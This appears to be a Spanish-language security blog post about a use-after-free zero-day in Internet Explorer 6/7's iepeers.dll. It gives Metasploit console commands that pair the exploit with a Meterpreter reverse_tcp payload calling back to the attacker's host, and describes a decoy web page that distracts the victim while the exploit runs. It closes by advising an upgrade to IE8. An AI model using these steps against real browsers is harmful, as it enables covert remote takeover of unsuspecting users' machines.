Hace unos días, el pasado día 9 de Marzo, Microsoft publicó un Advisory que nos comunicaba la existencia de una Vulnerabilidad Zero Day en Internet Explorer 6 y 7, sin parche disponible, que podría ser explotada para ejecutar código de forma remota.
Dicha vulnerabilidad ha sido ya utilizada para la propagación de malware a través de Internet. El exploit utilizado ha sido obtenido y analizado, y ya ha sido portado a Metasploit, por lo que cualquiera puede utilizar este conocido framework de explotación para combinar esta nueva vulnerabilidad con nuestros payloads favoritos, en lugar del payload del malware con el que se encontró originariamente.
La vulnerabilidad encontrada es muy similar a la explotada por el famoso Aurora Zero-Day utilizado contra Google China, del que ya hablamos en su momento en un par de ocasiones. En este caso la vulnerabilidad se encuentra el la librería iepeers.dll y consiste en la realización de un acceso a memoria a través de un puntero previamente liberado, todo ello a través de Javascript:
Para utilizar Metasploit para explotar esta vulnerabilidad no es necesario descargarse el plugin del enlace que hemos referenciado, ya que forma parte del repositorio oficial de Metasploit, por lo que solo tenemos que actualizar nuestro framework:
# cd /opt/msf3
# svn update
Una vez actualizado, arrancamos Metasploit y seleccionamos este plugin, y nuestro payload favorito, en este caso Meterpreter:
# ./msfconsole
> use windows/browser/ie_iepeers_pointer
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST [BackTrackIP]
> show options
Una vez preparada la explotación ya solo tenemos que lanzar el exploit, el cual levantará un servidor web en el puerto 8080 y nos proporcionará una URL que el navegador víctima deberá visitar para ser explotado:
> exploit
Sin embargo, si utilizamos este exploit directamente contra un navegador, veremos que el navegador se queda completamente bloqueado o incluso que se cierra, así que vamos a introducir una pequeña variante para ocultar un poco la explotación de una manera no demasiado complicada ni sofisticada.
Para ello, levantamos un servidor apache en el puerto 80 con un simple HTML, a través del cual mostraremos una web "señuelo" para entretener al usuario mientras se lanza otro navegador que visita la URL que nos ha proporcionado Metasploit:
# cat /var/www/index.html
Bueno, pues ya lo tenemos todo listo, ahora solo nos queda que un pobre incauto visite nuestra web trampa. Podemos observar en el siguiente video como sería el efecto visual, además de como migramos Meterpreter de proceso para que no nos quedemos sin conexión al cerrar el usuario el navegador, todo ello de forma automática:
Estas pruebas han sido realizadas con Internet Explorer 6. No se han obtenido pruebas satisfactorias con Internet Explorer 7, ya que el exploit ha sido creado a partir del malware original, que parecía tener como foco únicamente la versión 6 del navegador de Microsoft. Sin embargo, la versión 7 del navegador también es vulnerable, y con algo más de esfuerzo podría obtenerse un exploit completamente funcional.
Para mitigar esta vulnerabilidad, se recomienda a todos los usuarios de Internet Explorer que actualicen su software a Internet Explorer 8, ya que esta versión no se ve afectada por la vulnerabilidad.



